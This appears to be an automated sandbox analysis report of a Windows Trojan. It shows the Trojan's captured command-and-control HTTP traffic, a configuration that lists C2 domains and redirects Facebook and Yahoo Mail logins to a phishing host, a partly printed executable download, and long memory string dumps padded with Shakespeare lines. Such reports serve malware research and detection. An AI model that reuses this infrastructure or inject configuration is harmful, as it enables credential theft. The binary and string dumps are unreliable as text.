P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: YTS/1.20.28
..........................
GET /index.php?method=all&flag&mode=sox&v=029&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0
Accept: */*
Connection: close
Host: tablefruit.net
HTTP/1.0 200 OK
Date: Sat, 10 May 2014 19:11:39 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: YTS/1.20.28
ping.5.FLAG cfg.269."rememberpaint.net" "gentlefriend.net" "mightglossary.net" "necessarydress.net" "uponloud.net" "spendmarry.net" "frontride.net" "wifeknew.net" "tablefruit.net" "glasshealth.net" "throughcountry.net" "wrongthrew.net" "littleappear.net" "lasopeidres.com" "udagdarta.com" var_user_ip.570.%invite_cc% = "1";.ºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=77a098b4d1da87f63bf02d604284ec13&talk=1";.ëaylive% = "partyorderly.net";.%set_intercepts% = ""VVV.facebook.com" "partyorderly.net" "/fb_login/" "/login/" "1" "facebook.com" "partyorderly.net" "/fb_login/" "/login/" "0" "mail.yahoo.com" "partyorderly.net" "/yahoo/" "/config/" "0" ";.Þp_host% = "partyorderly.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "480";.%cpuinfo% = " Intel(R) Xeon(R) CPU E3-1245 V2 @ 3.40GHz (3386 MHz)";.%state% = "EN";..............
GET /forum/search.php?method=update&noxor&exe=mifnhxlktoj.exe®=Office Net.Tcp DNS Input Card&svc=Distributed Brightness Video Defender&wname=nxjupqomtrc.exe&dir=ajbgsktanfne&mode=sox&v=023&sox=3c2d4800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0
Accept: */*
Connection: close
Host: wifeyesterday.net
HTTP/1.1 200 OK
Date: Sat, 10 May 2014 19:11:11 GMT
Server: Apache/2
Connection: close
Content-Type: text/html
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....9mS.................n..........B.............@..........................................................................<..P.......................................................................@....................;..`....................text...&l.......n.................. ..`.rdata..t............r..............@..@.data........P...6...>..............@.............................................................................................................................................................................................................................................................................................................................................................................................................................................x.J...........V....x.J.......D$..t.V.e........^................................L$..T$.V.t$.W...r...;.u.............s...tD.....9 .u1...v5..B...y. .u ...v$..B...y. .u....v...B...I. ...._...^._3.^.............QV..j..L$.......F....s.@.F..L$......^Y..........QVW..j..L$..{....G...v....s.H.G..w........L$.#......_..^Y...........J...........QW.9..t?j..L$..(....G...v....s.H.G.V.w........L$.#.. .....t.....j.....^_Y........D$..V......J.t.V..........^....Q.A$V.0W.|$.j..L$..D$......7......F....s.@.F..L$........_^
<<
<<< skipped >>>
GET /forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: davedekilai.com
HTTP/1.1 302 Found
Date: Sat, 10 May 2014 19:11:05 GMT
Server: Apache
Location: hXXp://box661.bluehost.com/suspended.page/disabled.cgi/davedekilai.com?method=validate&mode=sox&v=023&sox=3c2d4800
Content-Length: 375
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://box661.bluehost.com/suspended.page/disabled.cgi/davedekilai.com?method=validate&mode=sox&v=023&sox=3c2d4800">here</a>.</p>.<hr>.<address>Apache Server at davedekilai.com Port 80</address>.</body></html>...
GET /index.php?method=validate&mode=sox&v=029&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: fredesecas.com
HTTP/1.1 404 Not Found
Date: Sat, 10 May 2014 19:11:37 GMT
Server: Apache/2
Accept-Ranges: bytes
Content-Length: 21
Cache-control: no-store
Pragma: no-cache
Connection: close
Content-Type: text/html
Unknown Virtual Host...
GET /forum/search.php?method=validate&mode=sox&v=023&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: donaven4guia.com
HTTP/1.1 404 Not Found
Date: Sat, 10 May 2014 19:11:03 GMT
Server: Apache/2
Accept-Ranges: bytes
Content-Length: 21
Cache-control: no-store
Pragma: no-cache
Connection: close
Content-Type: text/html
Unknown Virtual Host...
GET /index.php?method=validate&mode=sox&v=029&sox=3c2d4800 HTTP/1.0
Accept: */*
Connection: close
Host: davedekilai.com
HTTP/1.1 302 Found
Date: Sat, 10 May 2014 19:11:38 GMT
Server: Apache
Location: hXXp://box661.bluehost.com/suspended.page/disabled.cgi/davedekilai.com?method=validate&mode=sox&v=029&sox=3c2d4800
Content-Length: 375
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://box661.bluehost.com/suspended.page/disabled.cgi/davedekilai.com?method=validate&mode=sox&v=029&sox=3c2d4800">here</a>.</p>.<hr>.<address>Apache Server at davedekilai.com Port 80</address>.</body></html>...
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
r3uo4fe6swuxb.exe_3140:
.text
.text
`.rdata
`.rdata
@.data
@.data
UUj%U
UUj%U
%xI5
%xI5
SSShp
SSShp
t\SSSh
t\SSSh
t!SSSh@
t!SSSh@
\$lSSShp
\$lSSShp
t{SSSh
t{SSSh
|(SSSh
|(SSSh
tWSSSh
tWSSSh
D$h-.xG
D$h-.xG
vSSSh
vSSSh
FTPjK
FTPjK
FtPj;
FtPj;
C.PjRV
C.PjRV
tGHt.Ht&
tGHt.Ht&
AWS2_32.dll
AWS2_32.dll
OLEAUT32.dll
OLEAUT32.dll
cmd.exe
cmd.exe
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
portuguese-brazilian
portuguese-brazilian
operator
operator
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
GDI32.dll
GDI32.dll
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
GetProcessHeap
GetProcessHeap
mifnhxlktoj.exe
mifnhxlktoj.exe
xb.exe
xb.exe
Office Net.Tcp DNS Input Card
Office Net.Tcp DNS Input Card
rinel74@yahoo.com
rinel74@yahoo.com
nxjupqomtrc.exe
nxjupqomtrc.exe
F.zza
F.zza
~C%c?|
~C%c?|
j[.ym\
j[.ym\
.sO5W
.sO5W
TCP7/
TCP7/
Fr9.GLpS
Fr9.GLpS
2_%C.X&
2_%C.X&
h>.OVA
h>.OVA
Ii.wZ
Ii.wZ
#;e.wo
#;e.wo
zcÁ
zcÁ
%Documents and Settings%\LocalService
%Documents and Settings%\LocalService
%WinDir%\TEMP\r3uo4fe6swuxb.exe
%WinDir%\TEMP\r3uo4fe6swuxb.exe
mscoree.dll
mscoree.dll
KERNEL32.DLL
KERNEL32.DLL
mifnhxlktoj.exe_4552:
.text
.text
`.rdata
`.rdata
@.data
@.data
PSSSSSSh
PSSSSSSh
j.PVf
j.PVf
urLwj
urLwj
~2SSSh
~2SSSh
SSSh@CC
SSSh@CC
t.SSSh
t.SSSh
tXSSSh
tXSSSh
t#SSSh
t#SSSh
vSSSh
vSSSh
FTPjK
FTPjK
FtPj;
FtPj;
C.PjRV
C.PjRV
tGHt.Ht&
tGHt.Ht&
WS2_32.dll
WS2_32.dll
OLEAUT32.dll
OLEAUT32.dll
cmd.exe
cmd.exe
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
portuguese-brazilian
portuguese-brazilian
operator
operator
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
GDI32.dll
GDI32.dll
GetProcessHeap
GetProcessHeap
KERNEL32.dll
KERNEL32.dll
GetKeyboardType
GetKeyboardType
USER32.dll
USER32.dll
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
kind and natural; with him, the portion and sinew of
kind and natural; with him, the portion and sinew of
[Exeunt severally]
[Exeunt severally]
mifnhxlktoj.exe
mifnhxlktoj.exe
km0c.exe
km0c.exe
Office Net.Tcp DNS Input Card
Office Net.Tcp DNS Input Card
nxjupqomtrc.exe
nxjupqomtrc.exe
He makes important: possess'd he is with greatness,
He makes important: possess'd he is with greatness,
here at the door and importunes
here at the door and importunes
He bears him like a portly gentleman;
He bears him like a portly gentleman;
Shake in and out the rivet: and at this sport
Shake in and out the rivet: and at this sport
Join with the spite of fortune, make me bow,
Join with the spite of fortune, make me bow,
limb or joint, shall pass Pompey the Great; the
limb or joint, shall pass Pompey the Great; the
Rising and cawing at the gun's report,
Rising and cawing at the gun's report,
Flowing and swelling o'er with arts and exercise:
Flowing and swelling o'er with arts and exercise:
Of hurlyburly innovation:
Of hurlyburly innovation:
If once they join in trial. Tell your nephew,
If once they join in trial. Tell your nephew,
The Prince of Wales doth join with all the world
The Prince of Wales doth join with all the world
Is now eclipsed; and it portends alone
Is now eclipsed; and it portends alone
10. Certain Ladies or Countesses, with plain
10. Certain Ladies or Countesses, with plain
[They pass over the stage in order and state]
[They pass over the stage in order and state]
7o^.IhK<</pre><pre>2 A%s</pre><pre>He is as disproportion'd in his manners</pre><pre>[Exeunt CALIBAN, STEPHANO, and TRINCULO]</pre><pre>_K<].hC</pre><pre>)W%sT</pre><pre>vI!.ec</pre><pre>MSg/y</pre><pre>q/%SePH_E{</pre><pre>It is no act of common passage, but</pre><pre>should not be conjoined, charge you, on your souls,</pre><pre>Nor wit nor reason can my passion hide.</pre><pre>[Exeunt]</pre><pre>w'.Ff</pre><pre>y.bC{Y</pre><pre>As time and our concernings shall importune,</pre><pre>To the hopeful execution do I leave you</pre><pre>6n %u</pre><pre>Passion on passion deeply is redoubled:</pre><pre>[Enter TITANIA and BOTTOM; PEASEBLOSSOM, COBWEB, MOTH,</pre><pre>Scratch my head Peaseblossom. Where's Mounsieur Cobweb?</pre><pre>COBWEB</pre><pre>Mounsieur Cobweb, good mounsieur, get you your</pre><pre>In such-like circumstance, with suchlike sport:</pre><pre>[Exeunt ROSENCRANTZ and GUILDENSTERN]</pre><pre>Our sovereign process; which imports at full,</pre><pre>Report be an honest woman of her word.</pre><pre>bell-wether; next, to be compassed, like a good</pre><pre>And with our sprightly port make the ghosts gaze:</pre><pre>That the proportion both of thanks and payment</pre><pre>but in passion, not in words only, but in</pre><pre>A goodly portly man, i' faith, and a corpulent; of a</pre><pre>Warble, child; make passionate my sense of hearing.</pre><pre>Sweet air! Go, tenderness of years; take this key,</pre><pre>The very doors and windows savour vilely.</pre><pre>once to all the points o' the compass.</pre><pre>Or if that surly spirit, melancholy,</pre><pre>A passion hateful to my purposes,</pre><pre>[Exeunt all but MENAS and ENOBARBUS]</pre><pre>As great to me as late; and, supportable</pre><pre>Been justled from your senses, know for certain</pre><pre>While I, their king, that hither them importune,</pre><pre>Madam, 'twas Ariadne passioning</pre><pre>This part of his conjoins with my disease,</pre><pre>Their sons with arts and martial exercises:</pre><pre>[Exeunt WARWICK and the rest]</pre><pre>And to our sport.</pre><pre>That my poor beauty had purloin'd his eyes;</pre><pre>Madam, this letter, and some certain jewels,</pre><pre>eRzuýA</pre><pre>PORTIA</pre><pre>But, soft! here come my executioners.</pre><pre>But, sirs, be sudden in the execution,</pre><pre>Concerning this, sir,--O well-painted passion!--</pre><pre>You are welcome, sir, to Cyprus.--Goats and monkeys!</pre><pre>Whom passion could</pre><pre>To try your taking a false report; which hath</pre><pre>[Trumpet sounds. Enter certain Citizens upon the walls]</pre><pre>firago. I had a pass with him, rapier, scabbard and</pre><pre>the supportance of his vow; he protests he will not hurt you.</pre><pre>[Exeunt Host, SHALLOW, and PAGE]</pre><pre>And beat our watch, and rob our passengers;</pre><pre>Takes on the point of honour to support</pre><pre>Come, sir, your passado.</pre><pre>[Exeunt MERCUTIO and BENVOLIO]</pre><pre>Of a certain knight that swore by his honour they</pre><pre>Thou liest, thou jesting monkey, thou: I would my</pre><pre>That's most certain.</pre><pre>How now shall this be compassed?</pre><pre>[Exeunt COMINIUS and MENENIUS]</pre><pre>[Exeunt Citizens]</pre><pre>`, certain vails. I</pre><pre>[Exeunt Attendants with THYREUS]</pre><pre>When grief, and blood ill-temper'd, vexeth him?</pre><pre>[Exeunt ROSALIND and CELIA]</pre><pre>What passion hangs these weights upon my tongue?</pre><pre>From henceforth I will, coz, and devise sports. Let</pre><pre>Marry, I prithee, do, to make sport withal: but</pre><pre>There vanish'd in the sunbeams: which portends--</pre><pre>At every joint and motive of her body.</pre><pre>Nor any unproportioned thought his act.</pre><pre>By computation and mine host's report.</pre><pre>dreamest not of, the which for sport sake are</pre><pre>credit sake, make all whole. I am joined with no</pre><pre>[Enter CASSIO, and certain Officers with torches]</pre><pre>[Enter, several of both houses, who join the fray;</pre><pre>[Exeunt all but HORTENSIO]</pre><pre>What's thy passion!</pre><pre>Thou thinkest I am in sport: I pray thee tell me</pre><pre>rare carpenter? Come, in what key shall a man take</pre><pre>[Exeunt Guard]</pre><pre>cutting the web. After this, the vengeance on the</pre><pre>'For, lo, his passion, but an art of craft,</pre><pre>It did move him to passion, and therefore let's hear it.</pre><pre>[Exeunt COSTARD and JAQUENETTA]</pre><pre>[Exeunt all but Malcolm and Donalbain.</pre><pre>[Exeunt all but KING HENRY]</pre><pre>[Exeunt soldiers]</pre><pre>Your looks are pale and wild, and do import</pre><pre>The just proportion that we gave them out</pre><pre>[Exeunt all but BUCKINGHAM and GLOUCESTER]</pre><pre>And pass my daughter a sufficient dower,</pre><pre>[Exeunt Salarino and Salanio]</pre><pre>Cry you mercy, I took you for a joint-stool.</pre><pre>All made of passion and all made of wishes,</pre><pre>Than a joint burden laid upon us all.</pre><pre>Have there injointed them with an after fleet.</pre><pre>'Tis certain, then, for Cyprus.</pre><pre>If you will then see the fruits of the sport, mark</pre><pre>sing, certainly.</pre><pre>wept; for I must speak in passion, and I will do it</pre><pre>O Jesu, this is excellent sport, i' faith!</pre><pre>This beauteous lady Thisby is certain.</pre><pre>Why, then, it seems, some certain snatch or so</pre><pre>For shame, be friends, and join for that you jar:</pre><pre>carries his house on his head; a better jointure,</pre><pre>Then it is thus: the passions of the mind,</pre><pre>Some certain of the noblest-minded Romans</pre><pre>t you to buy them, along as you pass'd:</pre><pre>Who would not wish to be from wealth exempt,</pre><pre>[Flourish. Exeunt]</pre><pre>[Exeunt BARDOLPH and Page]</pre><pre>But if you fondly pass our proffer'd offer,</pre><pre>%UO"@</pre><pre>We'll pass the business privately and well.</pre><pre>[Exeunt TRANIO, Pedant, and BAPTISTA]</pre><pre>Nothing but his report.</pre><pre>The slave's report is seconded; and more,</pre><pre>Join'd with Aufidius, leads a power 'gainst Rome,</pre><pre>[Exeunt PRINCE HENRY and POINS]</pre><pre>inward between us, let it pass. I do beseech thee,</pre><pre>head: and among other important and most serious</pre><pre>designs, and of great import indeed, too, but let</pre><pre>that pass: for I must tell thee, it will please his</pre><pre>heart, let that pass. By the world, I recount no</pre><pre>fable: some certain special honours it pleaseth his</pre><pre>travel, that hath seen the world; but let that pass.</pre><pre>That drums him from his sport, and speaks as loud</pre><pre>Most noble Caesar, shalt thou have report</pre><pre>zcÁ</pre><pre>%System%\nxjupqomtrc.exe</pre><pre>|tablefruit.net</pre><pre>WATCHDOGPROC "c:\windows\system32\mifnhxlktoj.exe"</pre><pre>%System%\mifnhxlktoj.exe</pre><pre>mscoree.dll</pre><pre>KERNEL32.DLL</pre><b>nxjupqomtrc.exe_5736:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>PSSSSSSh</pre><pre>j.PVf</pre><pre>urLwj</pre><pre>~2SSSh</pre><pre>SSSh@CC</pre><pre>t.SSSh</pre><pre>tXSSSh</pre><pre>t#SSSh</pre><pre>vSSSh</pre><pre>FTPjK</pre><pre>FtPj;</pre><pre>C.PjRV</pre><pre>tGHt.Ht&</pre><pre>WS2_32.dll</pre><pre>OLEAUT32.dll</pre><pre>cmd.exe</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>portuguese-brazilian</pre><pre>operator</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>GDI32.dll</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>GetKeyboardType</pre><pre>USER32.dll</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>kind and natural; with him, the portion and sinew of</pre><pre>[Exeunt severally]</pre><pre>mifnhxlktoj.exe</pre><pre>km0c.exe</pre><pre>Office Net.Tcp DNS Input Card</pre><pre>nxjupqomtrc.exe</pre><pre>He makes important: possess'd he is with greatness,</pre><pre>here at the door and importunes</pre><pre>He bears him like a portly gentleman;</pre><pre>Shake in and out the rivet: and at this sport</pre><pre>Join with the spite of fortune, make me bow,</pre><pre>limb or joint, shall pass Pompey the Great; the</pre><pre>Rising and cawing at the gun's report,</pre><pre>Flowing and swelling o'er with arts and exercise:</pre><pre>Of hurlyburly innovation:</pre><pre>If once they join in trial. Tell your nephew,</pre><pre>The Prince of Wales doth join with all the world</pre><pre>Is now eclipsed; and it portends alone</pre><pre>10. Certain Ladies or Countesses, with plain</pre><pre>[They pass over the stage in order and state]</pre><pre>7o^.IhK<</pre><pre>2 A%s</pre><pre>He is as disproportion'd in his manners</pre><pre>[Exeunt CALIBAN, STEPHANO, and TRINCULO]</pre><pre>_K<].hC</pre><pre>)W%sT</pre><pre>vI!.ec</pre><pre>MSg/y</pre><pre>q/%SePH_E{</pre><pre>It is no act of common passage, but</pre><pre>should not be conjoined, charge you, on your souls,</pre><pre>Nor wit nor reason can my passion hide.</pre><pre>[Exeunt]</pre><pre>w'.Ff</pre><pre>y.bC{Y</pre><pre>As time and our concernings shall importune,</pre><pre>To the hopeful execution do I leave you</pre><pre>6n %u</pre><pre>Passion on passion deeply is redoubled:</pre><pre>[Enter TITANIA and BOTTOM; PEASEBLOSSOM, COBWEB, MOTH,</pre><pre>Scratch my head Peaseblossom. Where's Mounsieur Cobweb?</pre><pre>COBWEB</pre><pre>Mounsieur Cobweb, good mounsieur, get you your</pre><pre>In such-like circumstance, with suchlike sport:</pre><pre>[Exeunt ROSENCRANTZ and GUILDENSTERN]</pre><pre>Our sovereign process; which imports at full,</pre><pre>Report be an honest woman of her word.</pre><pre>bell-wether; next, to be compassed, like a good</pre><pre>And with our sprightly port make the ghosts gaze:</pre><pre>That the proportion both of thanks and payment</pre><pre>but in passion, not in words only, but in</pre><pre>A goodly portly man, i' faith, and a corpulent; of a</pre><pre>Warble, child; make passionate my sense of hearing.</pre><pre>Sweet air! Go, tenderness of years; take this key,</pre><pre>The very doors and windows savour vilely.</pre><pre>once to all the points o' the compass.</pre><pre>Or if that surly spirit, melancholy,</pre><pre>A passion hateful to my purposes,</pre><pre>[Exeunt all but MENAS and ENOBARBUS]</pre><pre>As great to me as late; and, supportable</pre><pre>Been justled from your senses, know for certain</pre><pre>While I, their king, that hither them importune,</pre><pre>Madam, 'twas Ariadne passioning</pre><pre>This part of his conjoins with my disease,</pre><pre>Their sons with arts and martial exercises:</pre><pre>[Exeunt WARWICK and the rest]</pre><pre>And to our sport.</pre><pre>That my poor beauty had purloin'd his eyes;</pre><pre>Madam, this letter, and some certain jewels,</pre><pre>eRzuýA</pre><pre>PORTIA</pre><pre>But, soft! here come my executioners.</pre><pre>But, sirs, be sudden in the execution,</pre><pre>Concerning this, sir,--O well-painted passion!--</pre><pre>You are welcome, sir, to Cyprus.--Goats and monkeys!</pre><pre>Whom passion could</pre><pre>To try your taking a false report; which hath</pre><pre>[Trumpet sounds. Enter certain Citizens upon the walls]</pre><pre>firago. I had a pass with him, rapier, scabbard and</pre><pre>the supportance of his vow; he protests he will not hurt you.</pre><pre>[Exeunt Host, SHALLOW, and PAGE]</pre><pre>And beat our watch, and rob our passengers;</pre><pre>Takes on the point of honour to support</pre><pre>Come, sir, your passado.</pre><pre>[Exeunt MERCUTIO and BENVOLIO]</pre><pre>Of a certain knight that swore by his honour they</pre><pre>Thou liest, thou jesting monkey, thou: I would my</pre><pre>That's most certain.</pre><pre>How now shall this be compassed?</pre><pre>[Exeunt COMINIUS and MENENIUS]</pre><pre>[Exeunt Citizens]</pre><pre>`, certain vails. I</pre><pre>[Exeunt Attendants with THYREUS]</pre><pre>When grief, and blood ill-temper'd, vexeth him?</pre><pre>[Exeunt ROSALIND and CELIA]</pre><pre>What passion hangs these weights upon my tongue?</pre><pre>From henceforth I will, coz, and devise sports. Let</pre><pre>Marry, I prithee, do, to make sport withal: but</pre><pre>There vanish'd in the sunbeams: which portends--</pre><pre>At every joint and motive of her body.</pre><pre>Nor any unproportioned thought his act.</pre><pre>By computation and mine host's report.</pre><pre>dreamest not of, the which for sport sake are</pre><pre>credit sake, make all whole. I am joined with no</pre><pre>[Enter CASSIO, and certain Officers with torches]</pre><pre>[Enter, several of both houses, who join the fray;</pre><pre>[Exeunt all but HORTENSIO]</pre><pre>What's thy passion!</pre><pre>Thou thinkest I am in sport: I pray thee tell me</pre><pre>rare carpenter? Come, in what key shall a man take</pre><pre>[Exeunt Guard]</pre><pre>cutting the web. After this, the vengeance on the</pre><pre>'For, lo, his passion, but an art of craft,</pre><pre>It did move him to passion, and therefore let's hear it.</pre><pre>[Exeunt COSTARD and JAQUENETTA]</pre><pre>[Exeunt all but Malcolm and Donalbain.</pre><pre>[Exeunt all but KING HENRY]</pre><pre>[Exeunt soldiers]</pre><pre>Your looks are pale and wild, and do import</pre><pre>The just proportion that we gave them out</pre><pre>[Exeunt all but BUCKINGHAM and GLOUCESTER]</pre><pre>And pass my daughter a sufficient dower,</pre><pre>[Exeunt Salarino and Salanio]</pre><pre>Cry you mercy, I took you for a joint-stool.</pre><pre>All made of passion and all made of wishes,</pre><pre>Than a joint burden laid upon us all.</pre><pre>Have there injointed them with an after fleet.</pre><pre>'Tis certain, then, for Cyprus.</pre><pre>If you will then see the fruits of the sport, mark</pre><pre>sing, certainly.</pre><pre>wept; for I must speak in passion, and I will do it</pre><pre>O Jesu, this is excellent sport, i' faith!</pre><pre>This beauteous lady Thisby is certain.</pre><pre>Why, then, it seems, some certain snatch or so</pre><pre>For shame, be friends, and join for that you jar:</pre><pre>carries his house on his head; a better jointure,</pre><pre>Then it is thus: the passions of the mind,</pre><pre>Some certain of the noblest-minded Romans</pre><pre>t you to buy them, along as you pass'd:</pre><pre>Who would not wish to be from wealth exempt,</pre><pre>[Flourish. Exeunt]</pre><pre>[Exeunt BARDOLPH and Page]</pre><pre>But if you fondly pass our proffer'd offer,</pre><pre>%UO"@</pre><pre>We'll pass the business privately and well.</pre><pre>[Exeunt TRANIO, Pedant, and BAPTISTA]</pre><pre>Nothing but his report.</pre><pre>The slave's report is seconded; and more,</pre><pre>Join'd with Aufidius, leads a power 'gainst Rome,</pre><pre>[Exeunt PRINCE HENRY and POINS]</pre><pre>inward between us, let it pass. I do beseech thee,</pre><pre>head: and among other important and most serious</pre><pre>designs, and of great import indeed, too, but let</pre><pre>that pass: for I must tell thee, it will please his</pre><pre>heart, let that pass. By the world, I recount no</pre><pre>fable: some certain special honours it pleaseth his</pre><pre>travel, that hath seen the world; but let that pass.</pre><pre>That drums him from his sport, and speaks as loud</pre><pre>Most noble Caesar, shalt thou have report</pre><pre>zcÁ</pre><pre>%System%\nxjupqomtrc.exe</pre><pre>mscoree.dll</pre><pre>KERNEL32.DLL</pre><b>gaumoefy7ic7km0c.exe_3704:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>PSSSSSSh</pre><pre>j.PVf</pre><pre>urLwj</pre><pre>~2SSSh</pre><pre>SSSh@CC</pre><pre>t.SSSh</pre><pre>tXSSSh</pre><pre>t#SSSh</pre><pre>vSSSh</pre><pre>FTPjK</pre><pre>FtPj;</pre><pre>C.PjRV</pre><pre>tGHt.Ht&</pre><pre>WS2_32.dll</pre><pre>OLEAUT32.dll</pre><pre>cmd.exe</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>portuguese-brazilian</pre><pre>operator</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>GDI32.dll</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>GetKeyboardType</pre><pre>USER32.dll</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>kind and natural; with him, the portion and sinew of</pre><pre>[Exeunt severally]</pre><pre>mifnhxlktoj.exe</pre><pre>km0c.exe</pre><pre>Office Net.Tcp DNS Input Card</pre><pre>nxjupqomtrc.exe</pre><pre>He makes important: possess'd he is with greatness,</pre><pre>here at the door and importunes</pre><pre>He bears him like a portly gentleman;</pre><pre>Shake in and out the rivet: and at this sport</pre><pre>Join with the spite of fortune, make me bow,</pre><pre>limb or joint, shall pass Pompey the Great; the</pre><pre>Rising and cawing at the gun's report,</pre><pre>Flowing and swelling o'er with arts and exercise:</pre><pre>Of hurlyburly innovation:</pre><pre>If once they join in trial. Tell your nephew,</pre><pre>The Prince of Wales doth join with all the world</pre><pre>Is now eclipsed; and it portends alone</pre><pre>10. Certain Ladies or Countesses, with plain</pre><pre>[They pass over the stage in order and state]</pre><pre>7o^.IhK<</pre><pre>2 A%s</pre><pre>He is as disproportion'd in his manners</pre><pre>[Exeunt CALIBAN, STEPHANO, and TRINCULO]</pre><pre>_K<].hC</pre><pre>)W%sT</pre><pre>vI!.ec</pre><pre>MSg/y</pre><pre>q/%SePH_E{</pre><pre>It is no act of common passage, but</pre><pre>should not be conjoined, charge you, on your souls,</pre><pre>Nor wit nor reason can my passion hide.</pre><pre>[Exeunt]</pre><pre>w'.Ff</pre><pre>y.bC{Y</pre><pre>As time and our concernings shall importune,</pre><pre>To the hopeful execution do I leave you</pre><pre>6n %u</pre><pre>Passion on passion deeply is redoubled:</pre><pre>[Enter TITANIA and BOTTOM; PEASEBLOSSOM, COBWEB, MOTH,</pre><pre>Scratch my head Peaseblossom. Where's Mounsieur Cobweb?</pre><pre>COBWEB</pre><pre>Mounsieur Cobweb, good mounsieur, get you your</pre><pre>In such-like circumstance, with suchlike sport:</pre><pre>[Exeunt ROSENCRANTZ and GUILDENSTERN]</pre><pre>Our sovereign process; which imports at full,</pre><pre>Report be an honest woman of her word.</pre><pre>bell-wether; next, to be compassed, like a good</pre><pre>And with our sprightly port make the ghosts gaze:</pre><pre>That the proportion both of thanks and payment</pre><pre>but in passion, not in words only, but in</pre><pre>A goodly portly man, i' faith, and a corpulent; of a</pre><pre>Warble, child; make passionate my sense of hearing.</pre><pre>Sweet air! Go, tenderness of years; take this key,</pre><pre>The very doors and windows savour vilely.</pre><pre>once to all the points o' the compass.</pre><pre>Or if that surly spirit, melancholy,</pre><pre>A passion hateful to my purposes,</pre><pre>[Exeunt all but MENAS and ENOBARBUS]</pre><pre>As great to me as late; and, supportable</pre><pre>Been justled from your senses, know for certain</pre><pre>While I, their king, that hither them importune,</pre><pre>Madam, 'twas Ariadne passioning</pre><pre>This part of his conjoins with my disease,</pre><pre>Their sons with arts and martial exercises:</pre><pre>[Exeunt WARWICK and the rest]</pre><pre>And to our sport.</pre><pre>That my poor beauty had purloin'd his eyes;</pre><pre>Madam, this letter, and some certain jewels,</pre><pre>eRzuýA</pre><pre>PORTIA</pre><pre>But, soft! here come my executioners.</pre><pre>But, sirs, be sudden in the execution,</pre><pre>Concerning this, sir,--O well-painted passion!--</pre><pre>You are welcome, sir, to Cyprus.--Goats and monkeys!</pre><pre>Whom passion could</pre><pre>To try your taking a false report; which hath</pre><pre>[Trumpet sounds. Enter certain Citizens upon the walls]</pre><pre>firago. I had a pass with him, rapier, scabbard and</pre><pre>the supportance of his vow; he protests he will not hurt you.</pre><pre>[Exeunt Host, SHALLOW, and PAGE]</pre><pre>And beat our watch, and rob our passengers;</pre><pre>Takes on the point of honour to support</pre><pre>Come, sir, your passado.</pre><pre>[Exeunt MERCUTIO and BENVOLIO]</pre><pre>Of a certain knight that swore by his honour they</pre><pre>Thou liest, thou jesting monkey, thou: I would my</pre><pre>That's most certain.</pre><pre>How now shall this be compassed?</pre><pre>[Exeunt COMINIUS and MENENIUS]</pre><pre>[Exeunt Citizens]</pre><pre>`, certain vails. I</pre><pre>[Exeunt Attendants with THYREUS]</pre><pre>When grief, and blood ill-temper'd, vexeth him?</pre><pre>[Exeunt ROSALIND and CELIA]</pre><pre>What passion hangs these weights upon my tongue?</pre><pre>From henceforth I will, coz, and devise sports. Let</pre><pre>Marry, I prithee, do, to make sport withal: but</pre><pre>There vanish'd in the sunbeams: which portends--</pre><pre>At every joint and motive of her body.</pre><pre>Nor any unproportioned thought his act.</pre><pre>By computation and mine host's report.</pre><pre>dreamest not of, the which for 